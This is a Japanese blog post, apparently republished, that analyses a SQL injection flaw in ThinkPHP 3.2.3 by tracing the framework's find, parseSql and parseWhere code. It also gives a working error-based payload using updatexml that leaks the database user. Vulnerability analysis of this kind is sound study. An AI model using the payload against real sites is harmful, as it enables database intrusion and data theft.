ホームページ >バックエンド開発 >PHPの問題 >thinkPHP3.2.3のSQLインジェクションの脆弱性について話しましょう

thinkPHP3.2.3のSQLインジェクションの脆弱性について話しましょう

WBOY
WBOY転載
2022-04-11 18:56:526552ブラウズ

この記事は、thinkphp に関する関連知識を提供します。主に、m メソッド、d メソッド、u メソッドなどを含む、thinkPHP3.2.3sql インジェクションの脆弱性の関連問題を紹介します。関連コンテンツです。みんなの役に立つでしょう。

thinkPHP3.2.3のSQLインジェクションの脆弱性について話しましょう

# 推奨学習: 「

PHP ビデオ チュートリアル

#まえがき

敵を攻撃するときに保存する必要があります:

## ThinkPHP でよく使用されるメソッドのまとめ: M メソッド、D メソッド、U メソッド、I メソッド
  • Thinkphp3.2.3 セキュリティ開発手順
  • ビルド:

最初のステップは、次のとおりです。それを www ディレクトリに置きます (Windows では phpstudy を使用します)。 ! ! !
  1. データベースを作成します。テーブル名は次に作成する名前と一致する必要があります。
  2. 詳細については説明しません。自分で設定する: ThinkPHP/Conf/convention.php
  3. コントローラーを設定する: \WWW\thinkphp3.2.3\Application\Home\Controller\IndexController.class .php
  4. <?phpnamespace  Home\Controller;use Think\Controller;class IndexController extends Controller {
        public function index(){
            $this->show('原来内容已经省略,太占地方');
    		$data = M('user')->find(I('GET.id'));
    		var_dump($data);
    	}}
  5. テスト:
  6. thinkPHP3.2.3のSQLインジェクションの脆弱性について話しましょう

    ##テキスト

ペイロード:

?id[where]=1 および 1=updatexml(1,concat(0x7e,user(),0x7e),1)

##ですエラー挿入が成功したことは true です。すべての理由は次のコードの存在です:

$data = M('user')->find(I('GET.id'));#I メソッドと M メソッドには問題はありません。本当の問題は、

/ThinkPHP/Mode/Lite/Model.class.php

find メソッドにあります。

 public function find($options=array()) {   
        // 根据复合主键查找记录
        $pk  =  $this->getPk();
        if (is_array($options) && (count($options) > 0) && is_array($pk)) {//但是会进入这里
            // 根据复合主键查询
            $count = 0;
            foreach (array_keys($options) as $key) {
                if (is_int($key)) $count++; 
            } 
            if ($count == count($pk)) {
                $i = 0;
                foreach ($pk as $field) {
                    $where[$field] = $options[$i];
                    unset($options[$i++]);
                }
                $options['where']  =  $where;
            } else {
                return false;
            }
        }
        // 总是查找一条记录
        $options['limit']   =   1;
        // 分析表达式
        $options            =   $this->_parseOptions($options);//前面都没有什么影响,重点是这里的函数调用
     	$resultSet          =   $this->db->select($options);//重要的一步
    2.
  1. _parseOptions: 主にオプション[where]を対象としているため、無関係なコードをすべて削除しました
/ThinkPHP/Library/Think/ Model.class.php

protected function _parseOptions($options=array()) {
        if(is_array($options))
            $options =  array_merge($this->options,$options);
        // 字段类型验证
        if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {//这里不满足is_array($options['where'])
            // 对数组查询条件进行字段类型检查
            foreach ($options['where'] as $key=>$val){
                $key            =   trim($key);
                if(in_array($key,$fields,true)){
                    if(is_scalar($val)) {
                        $this->_parseType($options['where'],$key);
                    }
                }elseif(!is_numeric($key) && '_' != substr($key,0,1) && false === strpos($key,'.') && false === strpos($key,'(') && false === strpos($key,'|') && false === strpos($key,'&')){
                    if(!empty($this->options['strict'])){
                        E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');
                    } 
                    unset($options['where'][$key]);
                }
            }
        }
    //上面均没用,到现在开始有用:?
        // 查询过后清空sql表达式组装 避免影响下次查询
        $this->options  =   array();
        // 表达式过滤
        $this->_options_filter($options);//这里值得注意
        return $options;
    }
3.

_options_filter

もうなくなりました

そして、上記の操作により $options もクリアされるため、ここではおそらく間違った

を入力したため、2 番目の部分の追跡を

thinkPHP3.2.3のSQLインジェクションの脆弱性について話しましょう

2.select:/ThinkPHP/Library/ に修正しました。 Think/Db/Driver.class.php

public function select($options=array()) {
        $this->model  =   $options['model'];
        $this->parseBind(!empty($options['bind'])?$options['bind']:array());
        $sql    = $this->buildSelectSql($options);
        $result   = $this->query($sql,!empty($options['fetch_sql']) ? true : false);
        return $result;
    }

3.buildSelectSql: アドレスは上記の

public function buildSelectSql($options=array()) {
        if(isset($options['page'])) {
            // 根据页数计算limit
            list($page,$listRows)   =   $options['page'];
            $page    =  $page>0 ? $page : 1;
            $listRows=  $listRows>0 ? $listRows : (is_numeric($options['limit'])?$options['limit']:20);
            $offset  =  $listRows*($page-1);
            $options['limit'] =  $offset.','.$listRows;
        }
        $sql  =   $this->parseSql($this->selectSql,$options);
        return $sql;
    }

4.parseSql と同じです。アドレスは上記と同じ

public function parseSql($sql,$options=array()){
        $sql   = str_replace(
            array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),
            array(
                $this->parseTable($options['table']),
                $this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),
                $this->parseField(!empty($options['field'])?$options['field']:'*'),
                $this->parseJoin(!empty($options['join'])?$options['join']:''),
                $this->parseWhere(!empty($options['where'])?$options['where']:''),
                $this->parseGroup(!empty($options['group'])?$options['group']:''),
                $this->parseHaving(!empty($options['having'])?$options['having']:''),
                $this->parseOrder(!empty($options['order'])?$options['order']:''),
                $this->parseLimit(!empty($options['limit'])?$options['limit']:''),
                $this->parseUnion(!empty($options['union'])?$options['union']:''),
                $this->parseLock(isset($options['lock'])?$options['lock']:false),
                $this->parseComment(!empty($options['comment'])?$options['comment']:''),
                $this->parseForce(!empty($options['force'])?$options['force']:'')
            ),$sql);
        return $sql;
    }

5 .parseWhere: 上記と同じ

protected function parseWhere($where) {
        $whereStr = '';
        if(is_string($where)) {//直接满足,直接进入
            // 直接使用字符串条件
            $whereStr = $where;
        }else{ // 使用数组表达式
        }
            return empty($whereStr)?'':' WHERE '.$whereStr;}
最後に $sql=where 1 および 1=updatexml(1, concat(0x7e,user(),0x7e),1)

#Then

$result   = $this->query($sql,!empty($options['fetch_sql']) ? true : false);return $result;
プロセス全体にフィルタリングはありません。分析では PHP は手間がかかりすぎると考えられています

PHPstormブレークポイント監査:

ペイロードは変更されません:

?id [where]=1 および 1=updatexml(1,concat(0x7e,user(),0x7e),1)

# または、検索機能を追跡します:

ここでトレースし、ステップインして追跡を続けます。追跡の最後に、この関数はジャンプアウトして値は変更されません。同時に、次の関数にステップインします。

thinkPHP3.2.3のSQLインジェクションの脆弱性について話しましょう## 検証後、別の関数にステップインします。

##buildSelectSql の追跡を続ける: thinkPHP3.2.3のSQLインジェクションの脆弱性について話しましょう

parseSql の追跡を続ける: thinkPHP3.2.3のSQLインジェクションの脆弱性について話しましょう

最終コードthinkPHP3.2.3のSQLインジェクションの脆弱性について話しましょう

SELECT * FROM user WHERE 1 and 1=updatexml(1,concat(0x7e,user()) ,0x7e),1)# LIMIT 1

これはまだですデバッグに便利で、基本的に頭を使う必要はありませんthinkPHP3.2.3のSQLインジェクションの脆弱性について話しましょう

推奨学習: "

PHP ビデオ チュートリアル

"

# #

以上がthinkPHP3.2.3のSQLインジェクションの脆弱性について話しましょうの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はcsdn.netで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。